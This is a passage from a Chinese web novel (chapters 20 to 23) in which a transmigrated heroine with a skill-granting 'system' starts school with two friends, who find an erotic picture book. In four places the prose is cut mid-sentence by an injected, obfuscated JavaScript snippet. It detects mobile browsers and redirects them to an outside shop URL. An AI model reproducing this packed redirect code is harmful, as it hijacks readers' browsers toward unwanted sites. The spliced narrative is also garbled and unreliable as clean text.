过了一会儿，见陆丹若没有停下哭泣的预兆，云曜提心吊胆开口。 “你没事吧？” 潜台词是，我可没惹你吧。 陆丹若没抬头，鼻尖抽了抽：“没事。我只是很、很高兴。 最后一句话，放得很轻很轻，却说出一股百转千回的羞涩。 闻言，云曜大大松了口气。 虽然不知道他为什么高兴，但现在看来，起码陆丹若是不会怪罪到自己头上了。 嗯。 高兴就好，高兴就好。毕竟这种小儿郎的脑回路，她一个女人是很难理解的。 云曜想，以后干脆就把陆丹若看成一个行走的眼泪制造机吧。自己之前还真没见过，哪个人能在短短一天内流这么多泪。 压低的啜泣声还在耳边响起，但她已经不再在意。 她收回注意力，重又将目光放在眼前的双层木质雕花食盒上，兴致勃勃。 “让我看看，这边给的早饭是什——咦？” 出乎云曜意料的是，食盒表面带着温热，掀开木质盖子，还能感受到一股热气。 古代的食盒，居然还有保温作用？ 系统适时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410002|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来做了解释。 【宿主，大曌朝的保温与隔热技术并不落后。】 【像这份食盒，使用的就是夹层设计，虽然比不上现代的专业保温盒，但比大部分现代的塑料餐盒都更保温。】 云曜颇有些讶异：还挺厉害的。 每当她以为自己对大曌已经够了解的时候，总会再有一些新东西出现，打破她的认知。 盒中食物虽没什么特别，但也称得上一顿丰盛的早餐。 上层放了两个暄软白胖的馒头，配了一些咸菜；下层是熬得浓稠的萝卜青菜粥，细嗅时，还能闻到一股天然的蔬菜香气。 在艮山学宫的第一顿正餐，云曜吃得很愉快。 嚼嚼，嚼嚼嚼—— 她昨晚没怎么吃东西，现在正是饿的时候。 只是，当她吃完后，她看到对面的陆丹若竟还低着头，甚至，这人面前的餐食一点都没动。 “……嗯？” 霎时间，云曜的心情就不那么愉悦了。 这小子是怎么回事？ 哭这么久，也该哭饿了吧。 她瞥了眼外面的天色，虽仍暗淡阴沉，但估摸再过一会儿，就要敲第三声鼓音。 也就是说，马上就要到出门读书的时间。 “丹若娘子，你别哭了，快吃一些吧。”云曜想了想，还是好心提醒。 虽然不知道沈令仪什么时候回来，但起码在对方回来之前，自己得让陆丹若健健康康地活着。 听到她的话，陆丹若看了她一眼，红着眼圈，勉强动筷吃了几口咸菜。 但很快，他就放下了竹箸。 “没事的，玉镜娘子。你就当我在节食好了。”陆丹若轻声说。 听陆丹若这么说，云曜眉头一蹙，但最终没再开口劝说。 “好。”她点点头。 少吃一顿也饿不死。 随他去吧。 自己穿来大曌朝后，看到的男子大都体型纤瘦，看上去饭量都不大。 据她的观察，此地男子以白瘦为美，追求风流纤弱，就算有肉，也是长到该长的地方，比如饱满软弹的胸肌、紧致结实的腹肌之类。 对云曜来说，这对她的眼睛很好，所以她不会多说什么。 陆丹若也是这类男人。 撇开他的难缠性格不谈，在知道他的男子身份后，任谁看了那张脸也会赞一句“清俊公子”；而且世家公子自小注重保养，皮肤又白又嫩，身材又是宽肩窄腰，很符合时下对男子的审美。 “对了，等会儿……” 陆丹若抬头想说些什么，却猝不及防对上了她审视打量的目光。 他心脏狂跳，视线闪躲，垂下眼帘低声嘀咕。 “……这么盯着男子看，你可真不害臊。” 嘴上这么说，他却悄悄地挺直了腰板。 云曜看男人被当场抓包，却丝毫不慌，泰然自若。 “我都说过许多遍，丹若娘子，你非要把自己当男人干什么？你既然选择来此地读书，应当习惯女人的目光才是。” 这虽然是临时编出来的瞎话，乍听上去，却很有道理。 陆丹若耳根一红，想开口说些什么：“可是……” 话音未落，门外忽然传来几声悠长深沉的、跟先前不一样的鼓音。 咚、咚、咚—— 已是三鼓。 是时候去学堂了。 闻声，云曜收起揶揄之色，果断打断了陆丹若的话语。 “是要出门了么？我们走吧。” 她“噌”的一声起身，面露期盼之色：自己的心，早已经飞到了学堂。 见状，陆丹若一愣，而后顺从地站起身来。 “好。玉镜娘子，我先收拾一下这里，你去门外等等我吧。” 他说着，颇为自然地开始整理二人的食盒。只是行动间，耳朵却烧红地更为厉害，不知在想些什么。 对此，云曜怎会说“不”？ 她随口对陆丹若道了声谢，便一个箭步朝门外走去。 秋日的天空，向来亮得晚些。 但上天似乎也知道她的心情，在出门后，竟有一丝金色天光自空中洒落，直直落在云曜身前。 ——几乎像是某种缥缈的神谕。 云曜深吸一口气，让清新的空气充满胸腔，一扫胸中郁郁。 而后，她出神地伸出手，接住那抹光亮。 这便是学堂初日了。 不知道，自己会遇到—— 正想着，院外突然传来一道熟悉的高亢女声。 “小曜，你是住在这里么？” “快点快点，出来一下，我有东西要给你看！” 21. 第 21 章 云曜一听声音，就知道来人是谁。 ——是嬴若水。 她一怔，心中有些纳罕：自己住的地方在学宫最西侧的僻静之地，跟学堂的方向完全相反。 不知道对方为什么会在这时候突然来访。 果不其然，刚迈出院落，她便看见身着棉麻直裰的嬴若水背着手来回踱步，表情颇为神秘。 “小曜！” 见云曜出现，嬴若水大力朝她挥手，几乎要把手臂舞出残影。 她凑到云曜面前，嘿嘿一笑：“你绝对猜不到，我今早在西苑发现了什么。” “什么？” 嬴若水没有回答，而是从背后伸出手，示意云曜看自己掌心的东西。 “这是……” 云曜定睛一看，竟是—— 一本书。 还是一本封面无字、被人翻卷页了的简陋线装书。 乍看上去平平无奇。 “我每日寅时都会早起，绕着学宫晨练三圈。” 嬴若水说：“因为昨晚给你办了宴会，我便在西苑多留意了一下，看看有没有没收拾好的地方，免得被山长责备。结果便发现了这本书。” 云曜一怔。 注意力却不在她所说的书上。 “你是说，你每天都绕学宫晨练三圈？” 寅时，大概是早上四点。 昨天她们宴席直到后半夜才散。也就是说，刚散了几个小时，天还没亮，嬴若水便从床上爬起来，绕着偌大的学宫开始晨跑。 单是想想那个画面，都让云曜牙齿发酸，小腿直打颤。 “是啊，我这人没什么特殊，就是有点小力气。” 嬴若水点点头，自豪地伸出手臂，拍了拍自己结实的肱二头肌。 “我娘可是方圆十里有名的屠户，她自小教育我，书可以不读，但一定要把体格搞好。不然，以后若是连头公猪都骟不了，该如何是好？” 云曜无言以对，只默默点点头，感慨一句。 “你真厉害。” 联想到嬴若水身上至少4级的[文学]技能，云曜不由得心生敬佩：这人能文又能武，怪不得是原书中的主角。 实在是…… 强悍如斯。 这时，嬴若水瞅了眼云曜的表情，误以为她也想跟自己一起锻炼。 “你是不是也有意晨练？正好，我每日晨练路线都会路过此地，到时候顺便叫你一起。” 她豪爽地一拍胸脯，示意这事就这么定下了。 云曜猝不及防，歪头“啊？”了一声。 等一下，每天四点从床上爬起来，跟身强体壮的嬴若水一起晨练？ 这……莫名感觉自己两股战战，脚下发虚。 还是想办法推脱为好。 只是，还没等她想出拒绝的借口，嬴若水又怨愤开口。 “唉，还是小曜你跟我投契。先前跟学宫其他人聊起，她们都不感兴趣，还用各种借口推脱不来，真是——” “令我难过！伤透了我的心！” 刚想拒绝的云曜神色一僵，嘴唇尴尬地张合了几下。 糟糕。 这话一出，直接把她的借口堵死了。 嬴若水一握拳，义愤填膺地挥了挥：“要我说，当今世道不锻炼身体怎么能行呢？连将军都——唉，此事不提也罢。” 话毕，她看向哑口无言的云曜，感动开口。 “小曜，你也这么认为，对不对？你真是我的好姐妹！” 云曜：“……哈哈、哈。” 都被叫“好姐妹”了。 这声拒绝，她如何还能说得出口？ 此刻，她脑海里满是系统开心的声音。 【宿主，你的[寝眠]技能已达到2级，本来也不需要那么多睡眠时间。】 【这可是原书女主，她——】 还没说完，又一道急急的脚步声从院落里传出。 “……赢若水？你来这里做什么。” * 正在对话的两人，齐齐往声音传出的方向望去。 来人一口格外标准的盛京官话。 “大清早的，怎么在此处喧哗吵闹。这里可不是你的蹴鞠场。” ——正是陆丹若。 只见他冷着一张脸，从院里走出，望向嬴若水的目光满是不喜。 但是，由于昨晚哭了一整晚的缘故，他眼圈还发着红，这让那道目光的杀伤力减轻了不少。 嬴若水显然也注意到了这一细节。 她一挑眉梢，不再继续先前的话题，而是将询问的目光投向云曜。 嬴若水挤眉弄眼：是你弄的？ 云曜无奈耸肩：算是吧。 嬴若水表情一变，露出一种“好姐妹你居然这么有本事”的微妙神色。 她一手拿着书，另一只空着的手悄悄给云曜比了个大拇指。 “你这是什么表情？” 陆丹若注意到嬴若水的小动作，嫌恶地皱了皱鼻子，又紧了紧脖子上的围脖。 但当他转头望向云曜时，那神色又变得柔情起来。 “玉镜娘子，今日是你第一天上学堂，我们快些走吧。”他轻声说着，温顺地走在云曜左侧。 见状，嬴若水对着云曜撇撇嘴，走到她右侧，做了个口型。 ——小曜，你这么快就收服官话姥了？ 云曜不置可否，只叹了一口气。 她跟陆丹若的关系，实在复杂得紧。 为了保护她自己，也为了保护陆丹若的真实身份，云曜没办法跟周围人透露太多细节。 嬴若水见她讳莫如深，也没有再追究，只是又偷偷给她比了个夸张的大拇指。 这动作被陆丹若看到，再次被他飞了个白眼。 “真是乡巴……” 他冷哼一声，却忽然想起什么，硬生生把后面的字咽了回去。 低头时，面上竟闪过一丝羞赧，尖锐的目光也温柔了不少。 “怪我，我不该再这么说别人的。玉镜娘子，你还记得昨日——” 陆丹若微微转头，凤眸藏着无限柔情。 云曜余光瞥见他这表情，心下一咯噔。 坏了，陆丹若一定又是凭借他那丰富的恋爱脑，联想到了什么。 现在是公共场合，这小子可别害她啊！ “咳咳，对了！若水。” 为了防止陆丹若继续发散，说一些不该说的东西，云曜故意打断他的话，将话题引到嬴若水身上。 她指了指嬴若水手中的线装书。 “你一开始说要给我看这本书，是怎么回事？” “噢噢，这个啊。” 被云曜一提醒，嬴若水才想到自己此行最初的目的。 她表情重又变得神秘起来，把那本封面无字的线装书拿了出来，递给云曜。 “喏。给你，你看。” 云曜接过书，随手翻开，发现这竟是一本小说。 【宿主，大曌朝的小说被称作话本，在民间颇为流行。】 【跟你前世熟知的小说相比，这些话本在题材上更为局限，一般以历史演义、神仙志怪、才女佳人为主流。】 听完系统的科普，云曜点点头。 只是，跟普通话本相比，这本书墨痕凌乱、字迹匆匆，连装订都不甚工整。 不像是由书馆统一印刷出来的书，倒像是某种非正规出版物。 “哎呀，不要在意这些，你快点看看内容。” 见她翻来覆去就是不细看内容，旁边的嬴若水连声催促她继续往下看。 “好好好，我知道了，这就看。” 云曜按捺住心中的疑惑，专注于话本内容。 仔细一看，这书内容更是平平无奇：开篇便是书生进京赶考，路遇瓢泼大雨，不得已借宿寺庙，遇到一个浑身淋湿的男鬼。 没什么新意的开头。 但稍微往后翻几页，云曜便发现了什么，眼睛兀地瞪大。 “这——？” 不是。 怎么突然就开始…… 共赴云雨了？ 书中带有惟妙惟肖的通俗插图，直教人眼睛瞪大。 只见一草垛堆成的简易床铺上，有一身材绝佳的男子跪在地上，格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426696|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投入跟卖力。 插图旁还带了首艳词。 花前月下两心知，共谱情弦意自痴。 丹唇虔奉并蒂花，纤指轻抚碧波纱。 云曜又往后翻了几页，一眼看到的，都是衣冠楚楚的女人跟身姿艳冶、衣不蔽体的男人。 望着绘声绘色的图画，她大脑前所未有地飞速运转。 哇哦。 还能这样、这样和那样？！ 系统适时给出了解释。 【宿主，从生理构造上来看，无论是你曾在的世界还是大曌朝，女性获得快感的途径，与生育繁殖的途径，都完全不同。】 恰恰在这时，提示音在耳边响起。 滴！ 【你获得了[房中术]技能。当前等级：1级。】 【技能效果：出入青楼伎院时，你更容易获得名伎倡优的好感。】 霎时间，云曜眼睛圆睁。 原来看本小黄书，也能增加技能？！ 回过神后，她有些困惑，不解道：“名伎倡优？我要他们的好感有什么用。” 听上去怪没用处的。 对此，系统贴心给出了解答。 【宿主，这些名伎倡优手上，掌握着不少财富珠宝。大曌朝有个流传已久的民间故事，叫“杜十郎怒沉百宝箱”。故事中的杜十郎，便是一位前朝名伎。】 【不管伎人倡优外在如何表现，他们内心都渴望获得女人的真爱，为了爱情，他们情愿将手中所有的财富双手奉上。】 【换言之，这可以是个发财的路子。】 云曜恍然大悟：“——噢。” 但她并不缺钱。 云氏家大业大，单是这次出门，云和月就给她准备了巨额盘缠银两。 对她这种富家女而言，这技能还是鸡肋了些。 见云曜兴致缺缺，系统又补充了一点。 【除此之外，这技能还有可能帮你引荐一些意想不到的人脉。】 人脉？ 什么人脉？ 还没等云曜进一步询问，耳边突然传来了一道声音。 “怎么这样吃惊。她给你的是什么书？” 一旁的陆丹若见她面色异样，纳罕地凑过来。 云曜回过神，不再跟系统闲聊，侧身想要挡他的视线。 “没什么，你不用在意，这不适合你看。” 她也是为了陆丹若好。 毕竟以他的道德衡量标准，看了这种书，估计更会有损他的男德。 听云曜这么说，陆丹若却更为好奇。 “玉镜娘子可是看不起我？” 他神色微凝，认真道：“家母藏书万卷，我虽算不上满腹经纶，却也没遇过我读不了的书。” 云曜有些头疼，不知该如何回应。 倒是嬴若水在旁边哈哈大笑，神色揶揄，煽风点火。 “难得见官话——咳咳，陆措这么主动，你就让他看看呗。反正也不知道书主人是谁。” 她不知道陆丹若是男子，自然不会把这当成一桩大事。 “嗯。上善娘子说得没错。” 陆丹若一向看不惯嬴若水，但这次难得没反驳她。 他伸出手，央求云曜，凤眸中又漾起一层水盈盈的光亮。 “玉镜娘子，你就让我看看吧。” 云曜叹一口气，看了眼嬴若水，强调道：“是你说要给他看啊，之后万一出事，我可不管。” 嬴若水硬气地拍拍胸脯，满不在乎。 “行，我说的。你也别爷们唧唧的，直接给他呗，”说完，她又嘀咕一句，“……反正这书也不知道是谁落下的。” 能出什么事？女子看点小黄书怎么了，又不是青涩儿郎。 这书写出来，就是给女人看的！ 云曜知道自己拗不过两人，轻轻摇了下头，便把书递给了陆丹若。 “谢谢玉镜娘子。” 陆丹若欢天喜地接过书，如获至宝般翻开封面。 只是，还没翻几页，他整个人便如晴天霹雳一般愣在原地。 “这、这，成何体统，成何体统……！” 22. 第 22 章 见陆丹若如此反应，云曜头皮发麻，生怕他再惹出什么岔子。 “丹若娘子，你也不用——” 正当云曜欲说些什么来圆场时，没想到，陆丹若又开了口。 “成何体统！这儿郎怎么能在这等腌臜地方侍奉妻主？” 他脸色通红，不知是气愤还是羞赧，语气又快又急。 “不守男德，不守男德！竟然选在这随意搭建的草垛之上云雨，实在是不像话。” “此男既然是野鬼，难道不懂得些许神通法术，让妻主躺在更舒服些的地方么？” 听罢，云曜瞠目结舌，半截话卡在喉咙。 ……啊？ 自己没听错吧。 听上去，陆丹若是在挑那小黄书中男鬼的毛病，为书生打抱不平？ 真是一个未曾想过的新奇角度。 这时，一旁的嬴若水忍不住插嘴。 “丹若娘子，此言差矣。这其实也是种情趣。” “世人常道‘家花不如野花香’，行女男之事时也是如此。此事若是选在寻常儿郎房间，便失了不少兴致。所以，这男鬼也可算作有心。” 云曜又是一震。 先等一下。她们三个人当中，到底谁才是古代人，谁才是现代人？ 怎么这一个两个，说的话都这么石破天惊？ 系统突然间在她脑内出声。 【宿主，古代人并不像你想的那样保守。在大曌朝，女男之间的花样远比你了解的更多。】 【比如你面前的原书女主嬴若水，她在书里跟美男子们就口口口口口——】 云曜：“……” 这一大堆“口口”是什么？被屏蔽得一个字都没听懂。 该说……真不愧是左拥右抱美男后宫的原书女主吗？ 连脑内聊天都能被和谐成这样。 在云曜沉默的时候，她耳边又传来一道冷冰冰的声音。 “呵。你说，家花不如野花香？” 出声的是陆丹若。 听完嬴若水的话，他愤怒乜了她一眼，手心一合，“啪”的一声合上手中书页。 他冷哼一声，将书塞回她手中：“赢上善，你竟这样想，看来，我当真没看错你。” 嬴若水听他连姓带字叫自己，立刻听出他语气中的讥讽之意。她挠挠头，匪夷所思地蹙起眉头。 “怎么了？你是觉得有什么不对么。” 自己哪里说错了？ 大女人行走于世，谁还没见过几朵芬芳扑鼻的野花。 就算偶尔被野花迷住，也很正常。 再说了，合着刚才编排那男鬼的不是他？真不知道这姓陆的官话姥，突然装什么正人女君。 只见陆丹若一甩袖子，先用余光瞥了眼云曜的反应，而后，臭着一张脸面向嬴若水。 他沉声说：“全天下的家花都不如野花么？你只是没见过好的儿郎。” “真正守男德的正经儿郎，谁会稀罕做野花！都是那等不自尊自爱的男儿，才会扒着别人家的女人不放。” 闻言，云曜跟嬴若水俱是一愣。 大曌朝的寻常女子，根本不会像他这样，站在男人角度甚至是正夫角度去说话。 若是有心人在场，一来二去，肯定能发现不对劲。 嬴若水微微皱眉，匪夷所思：“你……你这是在给我下套么？” 她只能得出这一个结论。 因为，作为一名堂堂正正的大女人，她实在听不懂陆丹若的脑回路。 陆丹若气结：“给你下套？你算什么东西？我告诉你，我是为了玉镜娘子的未来考虑，古话道‘丈夫无德妻必败’，如果……” “好了好了，丹若娘子，你少说一些罢。” 此时，云曜突然开口，果断叫停了他的话。 这人越说越离谱，越说越不像个女人。 男扮女装来学宫读书，怎么还能这样口无遮拦？陆丹若如果日后一直这样说话，少不了要给她惹麻烦。 “我……” 听到云曜的话，陆丹若愣住。 他呼吸一滞，下意识去观察云曜的表情。 只见那双深潭般的眼眸凝望着他，带着隐晦的警告之意。 有一股独属于上位者的惕厉威压，令他心尖发颤。 “……好。我知道了，玉镜娘子。” 陆丹若嗫嚅着想说些什么，但最后只默默闭上了嘴，顺从地低下头。 “我听你的，不说了。可是……你能不能温柔一点？不要凶我。” 他垂下眼帘，轻声开口。 声音中除了委屈，还带了一丝说不清道不明的骄嗔埋怨之意。 云曜扶额苦笑：“凶你？” 听到陆丹若这种儿郎幽怨的语气，她简直头皮发麻。 ——自己根本没想跟他调情好么？！ 有必要让这个恋爱脑清醒一下，了解他到底身处怎样的情形当中。 “好了。陆丹若，你仔细想想。” 云曜语气一肃：“在场各位可都是顶天立地的大女子，怎能因为这种儿郎之事吵架？实在是有失体面，让人笑话。” 她特意在“女子”二字上加重了语气，提醒他要注意身份，决不能在别人面前暴露他的男儿身份。 闻言，陆丹若肩膀小幅度地一耸。 他极缓慢地抬起头，面上郁色，忽然一扫而空，眸中也重又盛满喜色。 “你、你可是在关心我？” 他期期艾艾，轻声羞涩道：“我就知道，玉镜娘子不可能无缘无故这样凶我。” 云曜：“……” 云曜：“………” 得了，鸡同鸭讲。 她就知道，跟恋爱脑是讲不了大道理的。 但能让对方乖巧闭嘴也好，她也不指望陆丹若一介男儿，能多领悟到什么。 倒是嬴若水听了她的话后，恍然大悟，面露动容之色，忍不住拊掌叫好。 “没错，小曜说的是！好女儿有宏图之志，胸吞云梦，怎能拘泥于此等琐碎旖旎之事？” 说着，她兀地一顿，语气痛心疾首。 “男色误事、男色误事啊。都怪这本书，竟惹得我跟丹若姐妹间生了龃龉。” 言罢，她下定决心似的，发劲将手中书本揉成一团。 由于嬴若水行动太快，在场另外两人都没反应过来。 只见她抡圆右臂，气沉丹田，将书团直直抛向远处。 “喝呀——！” 平地一声惊雷。 伴随着一声大喝，那书径直消失在了远方。 不知她用了多大力气，那书团的抛物线格外长，竟被抛出了数丈远。 转瞬间，便不见了踪影。 * 沉默。 极其突兀的沉默。 凝望着那书消失的方向，三人反应各不相同。 云曜：“！？” 嬴若水：“。” 陆丹若：“……” 出乎意料的发展，令云曜呆在原地。 她第一反应，是在脑内震惊地询问系统。 “在学宫里能随手抛垃圾的么？不对，这本书是她的吗，怎么就随手扔了？还有，这是人能抛出来的距离吗？！” 都快抛出与前世自己看过的动画片一般的流星特效了！ 嬴若水的力气怎么会这样大？ 仅过了短短一息，众人突然听到远处传来一声恼怒的“哎呦！谁砸我？”声音。 系统这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438131|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢悠悠地回答云曜先前的问题。 【古代没有高空抛物一说，但她这样大力气扔书，的确有伤到人的危险。】 云曜喉头一梗，目光缓缓转向赢若水。 这什么天生神力？一个人就能扔出高空抛物的水准？ 在她旁边，嬴若水不敢对上她的视线，只尴尬地摸了摸鼻尖。 “糟糕，竟然又砸到人了。”嬴若水嘟囔。 云曜：“……又？” 这样一想，自己初来学宫时，好像也差点被她踢出的球砸到。 赢若水干笑：“哈哈，没关系的。我有控制自己，反正这力度砸不死人。” 云曜：“……还有能砸死人的？” 这话从她嘴里一出，画风突然从搞笑变得惊悚起来了。 “好了，小曜，若是等会儿学堂迟到，女君一定会责罚我们。现在快跑！” 话音刚落，她就一把抓住云曜，想要带着她一起往前冲。 霎时间，一股难以想象的巨力施加到了云曜手臂上。 “痛痛痛——” 她忍不住龇牙咧嘴。 这个女人的手掌是钳子吗？ 怎么握起来这么痛！ 与此同时，她耳边传来了系统的声音。 滴！ 【重要人物信息已解锁。】 【嬴若水：爽朗乐观，天生神力。《凰将：不败战神》书中女主。】 【虽由屠户抚养，但其真实身份为当朝大将军嬴少卓（已故）之女，十八年前江南农民起义攻占原皇城时，被秘密抱出将军府。】 * 重磅炸弹般的消息，居然在此刻揭露。 云曜兀地一惊，连手臂上的疼痛也消减了大半。 她猛然想起，自己从认识嬴若水以来，还未跟她进行过肢体接触——毕竟，自己起初便知道了嬴若水的原书女主身份，此后又跟对方交游甚多。 还以为，她已经十分了解嬴若水。 可没想到，嬴若水这个原书女主，并不是普通的屠户之女。在对方身上，竟然还藏着这样大的谜团。 紧接着，又有一个让云曜措手不及的消息被抛了出来。 滴滴—— 【检测到宿主接触到原书核心人物嬴若水，开放奖励功能。】 【预计剩余时间：18-24小时。】 奖励功能，从字面意思上还能理解。 但剩余时间指的是什么？ 【模拟人生系统正在更新2.0版本。】 【更新结束后，将会上线与原书《凰将：不败战神》有关的新功能。】 【在此期间，系统仍将正常运转，请宿主耐心等待，且勿担心。】 2.0版本？ 与原书有关的新功能？ 在云曜愣神时，嬴若水的声音在耳畔响起。 “咦，小曜你怎么了？” 她没放开对云曜的钳制，啧了啧嘴，颇有些遗憾似的：“你这小身板太弱，从明天起我们一起锻炼。” “现在先抓紧我的手！” 话音刚落，她便如一阵旋风般，带着云曜直直往前冲。 云曜：“啊？等——” 等一下。 总觉得她们两个好像忘了什么东西。 是什么来着？ 直到跑出几丈远后，她才发现，自己忘带了的究竟是什么。 因为…… 在两人身后，忽然传来几声男人的尖叫声。 “嬴若水，你放开玉镜娘子！” “不对，你们这就跑了？！怎么不带上我——” 被嬴若水拽着高速运动的云曜：“……！” 坏了。 原来忘带的是个大活男人！ 23. 第 23 章 直到二人一路狂奔到学堂，云曜都没回过神来。 不只是因为陆丹若，还因为刚才接收到的大量信息。 她脑海闪过万千思绪：自从来到大曌朝，自己只感觉到处都花团锦绣，过的是神仙般的日子。 但是，从嬴若水的身世来看，这世界似乎并不如自己想象般平静。 在嬴若水身上发生的一切，究竟代表着什么？ 【宿主，关于起义的详细信息，可在原书中查询。】 “我要怎么查？” 【请等待模拟人生系统2.0版本更新完毕。】 “喂，小曜。” 突然间，一双手伸出来，在云曜眼前晃了晃。 “怎么失魂落魄的，你该不会是在担心他吧？” 嬴若水豪爽道：“不用担心官话——咳咳，陆措会出事啦。他留在那里背锅——咳咳，应对是最适合的。” 条件反射地咳嗽几声后，她又啧了啧嘴。 “不对，他又不在这里，我有什么不敢说的？总之，在这学堂里，没人不认识官话姥。他可是鼎鼎有名的盛京娘子，谁都要卖他一个面子。” 云曜望着嬴若水炯炯有神的双眸，下意识开口。 “可我不是担心他，我是在担心你。” 面前这人，并不是普普通通的屠户女。 而是天生神力的原书主角，十八年前被抱走的将军之女。 一听这buff加满的信息，就知道嬴若水身上少不了麻烦。 自己真的要跟在这样的天命之人身边么？ “啊？” 听到云曜的话后，嬴若水直接愣在原地。 过了好一会儿，嬴若水才伸手指了指自己，不解道：“你说，担心……我？” 云曜这才意识到，自己竟差点失言将系统信息说出，连忙找补。 “我的意思是，我担心你身体吃不消。早上你晨练了那么久，这一路你还一直带着我，是不是很累？” 完全是急中生智想出的借口。 然而，嬴若水听了，居然很感动。 “从小到大，大家都说我是个四肢发达的蛮子。这还是第一次，有人如此关心我累不累。” 她感伤地垂下头：“连我娘，都从来没问过我。” 若是以往，云曜绝不会察觉到这话有什么不对劲。 然而知道了嬴若水的真实身世，再听她这句话，总觉得大有深意。 不知道她的屠户娘亲…… 是不是那个深夜将她抱离将军府的人？ 正思索时，嬴若水忽然伸出手，安抚地拍了拍她的背部。 ——嘭！ 云曜毫无征兆地向前一个趔趄。 “唔……！” “总之，小曜你放心！我体格很好，哪怕带上十个你，都不会喘气的，”她说着说着，露出喜色，“我现在好开心，真不敢相信，自己居然能结识像你这样投契的姐妹。” 嬴若水伸出三根手指对天作发誓状，面色逐渐认真起来。 “小曜，虽然我们相处时日不长，但我已认定你是个能在战场上交托后背的女子，我赢上善一定会为你赴汤蹈火！以后有什么需要的，都叫上我便是。” ——嘭嘭嘭！ 代表着深厚友情的安抚再次落下。 “唔，咳咳！” 云曜眼圈都红了：不是为对方的承诺而感动，而是痛得泪水都快流下来。 此时此刻，她只觉自己五脏六腑都快被震出胸腔，喉头甚至涌上一股腥甜之气。 如果，这是游戏。 那么她头上代表生命值的血条，一定已经空下去不少。 “抱歉，小曜。” 嬴若水见状一惊，尴尬地挠了下头：“我一时激动，力度没掌控好。你还好吗？” 说着，又条件反射地伸出手，想帮她顺气。 云曜面上一骇：“等等，你别伸手！” 自己还没开始跟嬴若水一起锻炼呢。 再打几下，她这副小身板是真的承受不住。 “噢、噢噢。” 好不容易阻止了嬴若水的“好意”，云曜不顾形象地蹲坐在地，闷声开口：“我先休息一会儿，你不要动。对，先不要动。” 话音刚落，脑海竟传来了系统的提示音。 滴！ 【你获得了[承伤]技能。当前等级：1级。】 【技能效果：面对物理伤害时，你恢复的速度比常人更快速。】 云曜：“……” 心情好复杂。 虽然获得了一项技能是好事，但—— 原来嬴若水的天生神力，已经能够上升到对她的物理伤害了吗？！ * 约莫盏茶功夫后。 嬴若水眼巴巴地看着云曜，高大的身体缩成一团，跟她一样蹲在路边。 “现在怎么样了？” 语气小心翼翼，像是做错了事的孩童。 云曜深吸一口气，活动了一下背部，感觉不再像先前一样疼痛。 看上去，新获得的[承伤]技能发挥了不小的用途。 她点点头：“嗯，已经好了大半。我们进去学堂吧。” 嬴若水大喜：“好好好！你没事就好。” 两人正欲起身，突然听到远处传来气冲冲的熟悉声音。 “你们二人，居然把我扔在那里不管！你们知道么，被书砸到的是宋女君，若不是我为你们掩护，她早就过来找你们讨说法了！！” ——是陆丹若。 还是极度愤怒的陆丹若。 电光火石间，云曜与嬴若水双目相对。 云曜：“我……” 嬴若水：“你……” 在陆丹若面前，两人的默契胜过千言万语。 无论如何。 都得想办法平安度过这一劫才行！ 只见云曜当机立断，重又蹲坐下来，装出一副病恹恹的模样。 嬴若水则关怀地围在她身边，担忧地看着她。 陆丹若的身影逐渐走近，凤眸中盛满羞恼，咬牙切齿。 “幸亏今日来授课的不是宋女君，否则我们就——” 突然间，他的声音被卡在了喉咙里。 因为，他看到了神情痛苦的云曜。 “天啊。这、这，”陆丹若语气骤变，“玉镜娘子，你、你这是怎么了？” 他脸上的愠怒，一瞬间被揪心代替。 “无碍，无碍。” 云曜摇摇晃晃地站起身，勉力撑起一个笑容：“是我的错，今日是我来学堂的初日，我太过兴奋，竟、竟——咳咳。” 一边说着，一边不着痕迹地捏了捏嬴若水的手臂。 示意她赶快想个借口。 嬴若水心领神会：“竟、竟不小心忘了你还留在原地。然而到了学堂门口，她才发现你不见了，刚刚差点、差点……” 听她支支吾吾，陆丹若眼中显露出怀疑：“差点怎么了？” 嬴若水一时没想好说辞，讷讷不知如何是好。 空气陡然静了下来。 见状，陆丹若垂下眼帘，默然片刻。 “呵。” 忽然间，他嗤笑一声，阴阳怪气道：“嬴若水，你怎么语气这样怪异？还有玉镜娘子……” 他沉下脸，望向旁边站着的云曜，心中一阵针扎般的疼痛：“你们，莫不是在合伙蒙骗我吧。” 诚然，他心悦云曜。 但这并不意味着，他也跟其他男子一样，那么容易被女人骗！ 再说了，刚才自己被云曜丢下是真：那一刻的不知所措，简直像一盆兜头冷水，狠狠浇醒了他的恋爱脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 